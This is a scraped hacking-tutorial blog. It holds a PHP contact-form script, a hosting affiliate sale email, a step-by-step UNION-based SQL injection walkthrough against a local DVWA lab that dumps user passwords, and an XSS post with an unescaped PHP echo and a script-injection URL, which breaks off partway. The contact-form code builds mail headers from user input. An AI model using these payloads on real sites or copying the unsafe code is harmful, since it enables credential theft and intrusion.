Fadu Hack: Web Browser

How to Create a Working Bootstrap Contact Form with PHP 100% Working

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="tr_bq" dir="ltr" style="text-align: left;" trbidi="on">
Contact forms are one of the most common elements found on a web page, and they can be used to gather just about any type of information required from your users.<br />
<br />
Fortunately, designing contact forms with Bootstrap is a breeze with all of the built-in classes available. But since Bootstrap is only a front-end framework, we need to introduce added functionality in order for to make the contact form functional.<br />
<br />
In this step by step tutorial, we’re going to be creating a working Bootstrap contact form with PHP, a popular server-side language. Our contact form will also have built-in spam prevention and form validation.<br />
<br /></div>
<div>
Using Bootstrap code, you should have something that looks like this.<br />
<br />
<div style="text-align: center;">
<img alt="Bootstrap contact form" height="387" src="http://bootstrapbay.com/blog/wp-content/uploads/2014/11/bootstrap-contact-form3.png" width="640" /></div>
<h2 style="text-align: left;">
PHP Code</h2>
</div>
<div>
<blockquote>
</blockquote>
</div>
<blockquote>
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Your Email<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$recipient = "info@faduhack.com"; // PLEASE SET YOUR EMAIL ADDRESS<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>// Check $recipient<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if($recipient === '') {<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>FALSE,<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>'RECIPIENT_IS_NOT_SET',<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>array('error_message'=> 'RECIPIENT email address is not set. Please configure the script.')<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Check for empty required field<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(!isset($_POST["email"]) || !isset($_POST["fname"]) || !isset($_POST["message"])) {<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>FALSE,<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>'MISSING_REQUIRED_FIELDS',<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>array('error_message'=> 'MISSING_REQUIRED_FIELDS should not be occurred.')<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Sanitize input<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$fname<span class="Apple-tab-span" style="white-space: pre;"> </span>= filter_var($_POST["fname"], FILTER_SANITIZE_STRING);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$lname<span class="Apple-tab-span" style="white-space: pre;"> </span>= filter_var($_POST["lname"], FILTER_SANITIZE_EMAIL);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$website = $_POST["website"];<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if (!preg_match("~^(?:f|ht)tps?://~i", $website)) $website = "http://" . $website;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$website = filter_var($website, FILTER_VALIDATE_URL);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email = filter_var(trim($_POST["email"]), FILTER_SANITIZE_EMAIL);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$message = filter_var($_POST["message"], FILTER_SANITIZE_STRING, FILTER_FLAG_NO_ENCODE_QUOTES);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// If non required fields are empty<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if ( empty($lname) ){<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>$lname = "No last name entered.";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if ( empty($website) ){<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>$website = "No website entered.";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Headers<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$headers = 'From: '.$fname.' <'.$email.'>' . "\r\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$headers .= 'Reply-To: '.$email.'' . "\r\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$headers .= 'X-Mailer: PHP/' . phpversion();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Subject<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$subject = "New email from contact form";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Build Message<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content = "First Name: $fname\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "Last Name: $lname\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "Website: $website\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "Email: $email\n\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "Message:\n$message\n\n\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "CLIENT IP:\n".get_client_ip()."\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "HOST IP:\n".$_SERVER['SERVER_ADDR']."\n";<br />
// Check if sent<br />
try {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$sendmailResult = mail($recipient, $subject, $email_content, $headers);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if( $sendmailResult === TRUE ) {<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>TRUE<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>} else {<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>FALSE,<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>'ERROR_AT_PHPMAIL',<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>array('error_information'=> error_get_last() )<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
} catch (Exception $_e) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>TRUE,<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>'ERROR_AT_PHPMAIL',<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>array('error_message'=> $_e->getMessage())<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>);<br />
}<br />
/*<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Construct ajax response array<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Input: Result (bool), Message (optional), Data to be sent back in array<br />
*/<br />
function constructAjaxResponseArray ($_response, $_message = '', $_json = null) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_responseArray = array();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_response = ( $_response === TRUE ) ? TRUE : FALSE;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_responseArray['response'] = $_response;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(isset($_message)) $_responseArray['message'] = $_message;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(isset($_json)) $_responseArray['json'] = $_json;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>return $_responseArray;<br />
}<br />
/*<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Returns in the Gframe ajax format.<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Input: data array processed by constructAjaxResponseArray ()<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Outputs as a html stream then exits.<br />
*/<br />
function returnAndExitAjaxResponse ($_ajaxResponse) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(!$_ajaxResponse){<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>$_ajaxResponse = array('response'=>false,'message'=>'Unknown error occurred.');<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>header("Content-Type: application/json; charset=utf-8");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>echo json_encode($_ajaxResponse);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>die();<br />
}<br />
// Function to get the client IP address<br />
function get_client_ip() {<br />
    $ipaddress = '';<br />
    if (isset($_SERVER['HTTP_CLIENT_IP'])) {<br />
        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];<br />
    } else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {<br />
        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];<br />
    } else if(isset($_SERVER['HTTP_X_FORWARDED'])) {<br />
        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];<br />
    } else if(isset($_SERVER['HTTP_FORWARDED_FOR'])) {<br />
        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];<br />
    } else if(isset($_SERVER['HTTP_FORWARDED'])) {<br />
        $ipaddress = $_SERVER['HTTP_FORWARDED'];<br />
    } else if(isset($_SERVER['REMOTE_ADDR'])) {<br />
        $ipaddress = $_SERVER['REMOTE_ADDR'];<br />
    } else {<br />
        $ipaddress = 'UNKNOWN';<br />
    }<br />
    return $ipaddress;<br />
}</blockquote>
</div>

How to Create a Working Bootstrap Contact Form with PHP 100% Working

Contact forms are one of the most common elements found on a web page, and they can be used to gather just about any type of information r...

Hurry! HostGator's Labor Day Flash Sales

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<table align="center" bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="background-color: #efefef; border-collapse: collapse; color: #222222; font-family: arial, sans-serif; font-size: 12.8000001907349px; width: 100%px;"><tbody>
<tr><td style="margin: 0px;" valign="top" width="100%"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse;"><tbody>
<tr><td style="margin: 0px;" width="100%"><table bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td style="margin: 0px;" width="100%"><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td style="margin: 0px;" width="540"><table align="left" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 540px;"><tbody>
<tr><td align="left" style="color: #444444; font-family: Lato, Helvetica, Arial, sans-serif; font-size: 18px; line-height: 18px; margin: 0px; padding: 0px;"><img alt="HostGator" border="0" class="CToWUd" name="14f9902fc3641b34_snappy-logo_default.gif" src="https://blogger.googleusercontent.com/img/proxy/AVvXsEg_m7ZeDQ3ewwiqVB4BoIOJnUPcYv85OPxT32_XQJp_eFC0P11OYIQm5lz5duwFgP0xczsVSL8nxXHqJLE6cZ-SzjNUpWoNxDqHUTf9sfxM3kQ107bk8IWyPCTspoA0QvdZktMYBrHPO9NnjRSZRfK80za3AYnjrQzXJtdIZI8BwE5waxoGcD5Zfk996U2rYned=s0-d-e1-ft" style="display: inline-block;" title="HostGator" /></td></tr>
</tbody></table>
</td><td style="margin: 0px;" width="5"></td></tr>
</tbody></table>
</td></tr>
</tbody></table>
<table align="center" bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td height="5" style="margin: 0px;" width="100%"> </td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
<table align="center" bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="background-color: #efefef; border-collapse: collapse; color: #222222; font-family: arial, sans-serif; font-size: 12.8000001907349px; width: 100%px;"><tbody>
<tr><td style="margin: 0px;" valign="top" width="100%"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td style="margin: 0px;" width="100%"><table bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td style="margin: 0px;" width="600"><img alt="HostGator Flash Sale - 60% Off!" border="0" class="CToWUd" name="14f9902fc3641b34_saleBannerFlash.png" src="https://blogger.googleusercontent.com/img/proxy/AVvXsEiYnV_r36a45JmvLIY6j90TbgwqK_XjgMISy5IRpSW8yzx4_ixE1lcdUZ9x2lqmJuSEXsleDV7bnVq_oAqnOs3jCsiWtQUO2PrctI9n3zYmltCMejXdRNH1ftMqXG4Io7oTZFsld_ZBWYU2sp5mtt7JnhraTg=s0-d-e1-ft" style="display: inline-block;" title="HostGator Flash Sale - 60% Off!" width="600" /></td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
<table align="center" bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="background-color: #efefef; border-collapse: collapse; color: #222222; font-family: arial, sans-serif; font-size: 12.8000001907349px; width: 100%px;"><tbody>
<tr><td style="margin: 0px;" valign="top" width="100%"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse;"><tbody>
<tr><td style="margin: 0px;" width="100%"><table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td align="center" style="margin: 0px;" width="100%"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td style="margin: 0px;" width="30"></td><td style="margin: 0px;" width="540"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 540px;"><tbody>
<tr><td height="20" style="margin: 0px;"> </td></tr>
<tr><td height="20" style="margin: 0px;"> </td></tr>
<tr><td align="center" style="color: #006fba; font-family: Lato, Helvetica, Arial, sans-serif; font-size: 24px; line-height: 34px; margin: 0px; padding-bottom: 5px;">Labor Day FLASH SALES on<br />New Hosting AND WordPress Hosting! </td></tr>
<tr><td height="20" style="margin: 0px;"> </td></tr>
<tr><td style="color: #333333; font-family: Lato, Helvetica, Arial, sans-serif; font-size: 13px; line-height: 26px; margin: 0px;"><br />
We've decided to keep the ball rolling with our amazing flash sale offer, so make sure you<b>DON'T MISS OUT</b>! From the <span style="color: #006fba;"><strong><span class="aBn" data-term="goog_354661573" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; position: relative; top: -2px; z-index: 0;" tabindex="0"><span class="aQJ" style="position: relative; top: 2px; z-index: -1;">6th to the 9th of September</span></span></strong></span> you will be able to take advantage of these flash sales which will provide a <span style="color: #006fba;"><strong>60% off discount</strong></span> all new hosting packages, including our new <b>WordPress Hosting</b> packages.<br /><br />HostGator.com will be updated to reflect the sale, so you can simply promote via your normal affiliate link. The coupon will automatically be added to the shopping cart at checkout.<br /><br />
<br />
<b>Here are the details for the upcoming Flash Sales:</b><br />
<ul>
<li style="margin-left: 15px;"><strong>Link Details:</strong> 60% Off All New Hosting Packages</li>
<li style="margin-left: 15px;"><strong>Link ID:</strong> 224812</li>
<li style="margin-left: 15px;"><strong>Coupon Code:</strong> <span style="color: #006fba;"><strong><span class="aBn" data-term="goog_354661574" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; position: relative; top: -2px; z-index: 0;" tabindex="0"><span class="aQJ" style="position: relative; top: 2px; z-index: -1;">SEPT15</span></span></strong></span><span style="color: red;"></span></li>
<li style="margin-left: 15px;"><strong>Sale Begins:</strong> <span class="aBn" data-term="goog_354661575" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; position: relative; top: -2px; z-index: 0;" tabindex="0"><span class="aQJ" style="position: relative; top: 2px; z-index: -1;">Sunday, September 6th at 7:00pm CST</span></span></li>
<li style="margin-left: 15px;"><strong>Sale Ends:</strong> <span class="aBn" data-term="goog_354661576" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; position: relative; top: -2px; z-index: 0;" tabindex="0"><span class="aQJ" style="position: relative; top: 2px; z-index: -1;">Sunday, September 6th at 9:59pm CST</span></span></li>
<br />
<li style="margin-left: 15px;"><strong>Link Details:</strong> 60% Off All New Hosting Packages</li>
<li style="margin-left: 15px;"><strong>Link ID:</strong> 224814</li>
<li style="margin-left: 15px;"><strong>Coupon Code:</strong> <span style="color: #006fba;"><strong>SEPTFLASH</strong></span><span style="color: red;"></span></li>
<li style="margin-left: 15px;"><strong>Sale Begins:</strong> <span class="aBn" data-term="goog_354661577" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; position: relative; top: -2px; z-index: 0;" tabindex="0"><span class="aQJ" style="position: relative; top: 2px; z-index: -1;">Monday, September 7th at 10:00am CST</span></span></li>
<li style="margin-left: 15px;"><strong>Sale Ends:</strong> <span class="aBn" data-term="goog_354661578" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; position: relative; top: -2px; z-index: 0;" tabindex="0"><span class="aQJ" style="position: relative; top: 2px; z-index: -1;">Monday, September 7th at 12:59am CST</span></span></li>
<br />
<li style="margin-left: 15px;"><strong>Link Details:</strong> 60% Off All New Hosting Packages</li>
<li style="margin-left: 15px;"><strong>Link ID:</strong> 224816</li>
<li style="margin-left: 15px;"><strong>Coupon Code:</strong> <span style="color: #006fba;"><strong>SEPTFLASH2</strong></span><span style="color: red;"></span></li>
<li style="margin-left: 15px;"><strong>Sale Begins:</strong> <span class="aBn" data-term="goog_354661579" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; position: relative; top: -2px; z-index: 0;" tabindex="0"><span class="aQJ" style="position: relative; top: 2px; z-index: -1;">Wednesday, September 9th at 2:00pm CST</span></span></li>
<li style="margin-left: 15px;"><strong>Sale Ends:</strong> <span class="aBn" data-term="goog_354661580" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; position: relative; top: -2px; z-index: 0;" tabindex="0"><span class="aQJ" style="position: relative; top: 2px; z-index: -1;">Wednesday, September 9th at 4:59pm CST</span></span></li>
</ul>
<br />The offer is only valid on new hosting packages, not applicable on renewals or existing hosting plans. Please see our <a href="http://em.impactradius.com/wf/click?upn=lvm5-2Bdujx40cngWE0srMFXF3uJE57abe4Hv38kYF8HzHknHVgrLM73nw-2FY8FwISvNFjMATUoCYJ79-2FLwm0gsYTgQUwAKJdBSJuHDYrqasgIcbqEy2zL1XYw9cKCeaVNP_KfekVzWu00l0DnTt5ik6fJwLrxfQsfudZU2ll7RwdBvqqdJ39ec9sezxHhznLOZ-2FUwLENkY5zlbroi-2FPLf-2BKqYuY1xU1gER2idAp7ACjdn5Bf0esZfZIYV052kncPEhgswALb9F67GLE9hN5moualiuecOks9kZKQELqTvYGPe2LnjZqVfsLEIqjmlSjzBiaplQbFJnJZ4XsVbUxA7nMRg-3D-3D" name="14f9902fc3641b34_Sale FAQ_1" style="color: #1155cc; text-decoration: none;" target="_blank"><strong>Sale FAQ</strong></a> for more details. Please do not post offer before the start date/time.<br />
<span style="background-color: #efefef;"></span><br />
<br />
<span style="background-color: #efefef;"></span></td></tr>
</tbody></table>
</td><td style="margin: 0px;" width="30"></td></tr>
<tr><td height="20" style="margin: 0px;"> </td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
<table align="center" bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="background-color: #efefef; border-collapse: collapse; color: #222222; font-family: arial, sans-serif; font-size: 12.8000001907349px; width: 100%px;"><tbody>
<tr><td style="margin: 0px;" valign="top" width="100%"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse;"><tbody>
<tr><td style="margin: 0px;" width="100%"><table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td align="center" style="margin: 0px;" width="100%"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td style="margin: 0px;" width="30"></td><td style="margin: 0px;" width="540"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 540px;"><tbody>
<tr><td height="40" style="margin: 0px;"> </td></tr>
<tr><td style="margin: 0px;" width="30"></td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8000001907349px;">
</div>
<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8000001907349px;">
</div>
<table align="center" bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="background-color: #efefef; border-collapse: collapse; color: #222222; font-family: arial, sans-serif; font-size: 12.8000001907349px; width: 100%px;"><tbody>
<tr><td style="margin: 0px;" valign="top" width="100%"><table align="center" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse;"><tbody>
<tr><td style="margin: 0px;" width="100%"><table align="center" bgcolor="#EFEFEF" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td height="30" style="margin: 0px;" width="100%"> </td></tr>
</tbody></table>
<table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; border-radius: 5px; width: 600px;"><tbody>
<tr><td style="margin: 0px;" width="100%"><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 600px;"><tbody>
<tr><td style="margin: 0px;" width="540"><table align="left" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 255px;"><tbody>
<tr><td align="left" style="color: #9a9fa5; font-family: Lato, Helvetica, Arial, sans-serif; font-size: 13px; line-height: 23px; margin: 0px;"><a href="mailto:affiliates@hostgator.com" name="14f9902fc3641b34_Support" style="color: #006fba; text-decoration: none;" target="_blank"><img alt="support" border="0" class="CToWUd" height="246" name="14f9902fc3641b34_email_snappy_v05-01-2553.png" src="https://blogger.googleusercontent.com/img/proxy/AVvXsEjPaxT7buGcd1X63Uf62EC_BidcNApY8D3Ih7u8LiZk5TR5Osbz8M2Er52xkY8q9QMNALAXUOfrhphcy4u05BLU6o1ZHL9dTIJsfCKZVifeAg6WpXg2wC2mScQcIDFUXK37sWk_gyg6g0lF3sVIM8JMpVhDE-VTUVBb-sOgm8oKb8VZs2C-fvr6gxqFPWDA39qjl8YU=s0-d-e1-ft" style="max-width: 275px;" title="support" width="255" /></a></td></tr>
</tbody></table>
<table align="left" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 25px;"><tbody>
<tr><td height="5" style="margin: 0px;" width="100%"></td></tr>
</tbody></table>
<table align="right" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; width: 255px;"><tbody>
<tr><td height="40" style="margin: 0px;" width="100%"> </td></tr>
<tr><td align="left" style="color: #006fba; font-family: Lato, Helvetica, Arial, sans-serif; font-size: 24px; font-weight: 700; line-height: 34px; margin: 0px; padding-bottom: 10px;">Have Questions?</td></tr>
<tr><td align="left" style="color: #333333; font-family: Lato, Helvetica, Arial, sans-serif; font-size: 13px; line-height: 23px; margin: 0px; padding-bottom: 10px;">Send us an email.<br />That's what we're here for!</td></tr>
<tr><td align="left" style="color: #006fba; font-family: Lato, Helvetica, Arial, sans-serif; font-size: 20px; line-height: 34px; margin: 0px; padding-bottom: 10px;"><a href="mailto:affiliates@hostgator.com" name="14f9902fc3641b34_Affiliate Support" style="color: #006fba; text-decoration: none;" target="_blank"><strong>affiliates@hostgator.com</strong></a></td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</div>

Hurry! HostGator's Labor Day Flash Sales

Labor Day FLASH SALES on New Hosting AND WordPress Hosting! We've decided to keep the ba...

Class Union Based Injection (100% Working)

<div dir="ltr" style="text-align: left;" trbidi="on">
<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEhhIGp37fUqRR5-ojEVpBegr0i_PMAYkM4iKo1nKky2AIvp-yq-VY6q3aDWqmPTiMnRA33hPmg9jXmYKJoJD9YtDzw2uKoQ5a1405u7Vx7QGqOviZM1gDqvtLvPG47wDMSi2wwSqv38jqnB3eH6DPX8t3MHytuqI1yXKPaz-uk=" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="320" src="http://sqlity.net/wp-content/uploads/2014/08/SQL_Injection.jpg" width="320" /></a><br />
Union Based  Injection : Union based injection is an advance attack which targets the website's database unlike the front. Hand like bypass authentication method which we covered last time.<br />
The idea is to fetch the username and password of the website from admin,user or this kind of table from the database and use these credentials to login in the website.<br />
<br />
<b>We can do whole process on DVWA</b><br />
<h4 style="text-align: left;">
Steps Of  Union Base Injection</h4>
Step 1: Find any GET Method in the Website.<br />
<blockquote class="tr_bq">
GET : .php?id=10        POST : .php</blockquote>
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10&Submit=Submit#</blockquote>
Step 2: Check exception handling in the website.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10&Submit=Submit#</blockquote>
Step 3: Check total number of columns in the respective table.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10' order by 1 --+Submit=Submit#</blockquote>
Step 4: Select a vulnerable column from the table.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,2--+ &Submit=Submit#</blockquote>
Step 5: Check the database name<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select database(),2--+ &Submit=Submit#</blockquote>
Step 6: Check the Version of the database.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select version(),2--+ &Submit=Submit#</blockquote>
Step 7: Check the total number of tables in the database<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,table_name from information_schema.tables --+ &Submit=Submit#</blockquote>
Target Table : users<br />
<br />
Step 8 : Get the columns of the tabel users<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,column_name from information_schema.columns--+ &Submit=Submit#</blockquote>
where table_name='users'--+ &Submit=Submit#<br />
<br />
Target Columns : user and password<br />
<br />
Step 9 : Get the content of the user and password<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select user,password from users--+</blockquote>
</div>

Class Union Based Injection (100% Working)

Union Based Injection : Union based injection is an advance attack which targets the website's database unlike the front. Hand like b...

XSS Attack Examples (Cross-Site Scripting Attacks)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<img src="http://virus.im/wp-content/uploads/2014/01/Xss-virus.jpg" /></div>
In this article we will see a different kind of attack called XXS attacks.<br />
<ul style="text-align: left;">
<li><b>XSS stands for Cross Site Scripting.</b></li>
</ul>
XSS is very similar to SQL-Injection. In SQL-Injection we exploited the vulnerability by injecting SQL Queries as user inputs. In XSS, we inject code (basically client side scripting) to the remote server.<br />
<h2 style="text-align: left;">
Types of Cross Site Scripting</h2>
<h3 style="text-align: left;">
XSS attacks are broadly classified into 2 types:</h3>
<ol style="text-align: left;">
<li>Non-Persistent</li>
<li>Persistent</li>
</ol>
<h4 style="text-align: left;">
1. Non-Persistent XSS Attack</h4>
In case of Non-Persistent attack, it requires a user to visit the specially crafted link by the attacker. When the user visit the link, the crafted code will get executed by the user’s browser. Let us understand this attack better with an example.<br />
<br />
<b>Example for Non-Persistent XSS</b><br />
<br />
index.php:<br />
<blockquote class="tr_bq">
<?php<br />
$name = $_GET['name'];<br />
echo "Welcome $name<br>";<br />
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";<br />
?></blockquote>
Example 1:<br />
Now the attacker will craft an URL as follows and send it to the victim:<br />
<blockquote class="tr_bq">
index.php?name=guest<script>alert('attacked')</script></blockquote>
When the victim load the above URL into the browser, he will see an alert box which says ‘attacked’. Even though this example doesn’t do any damage, other than the annoying ‘attacked’ pop-up, you can see how an attacker can use this method to do several damaging things.<br />
<br />
Example 2:<br />
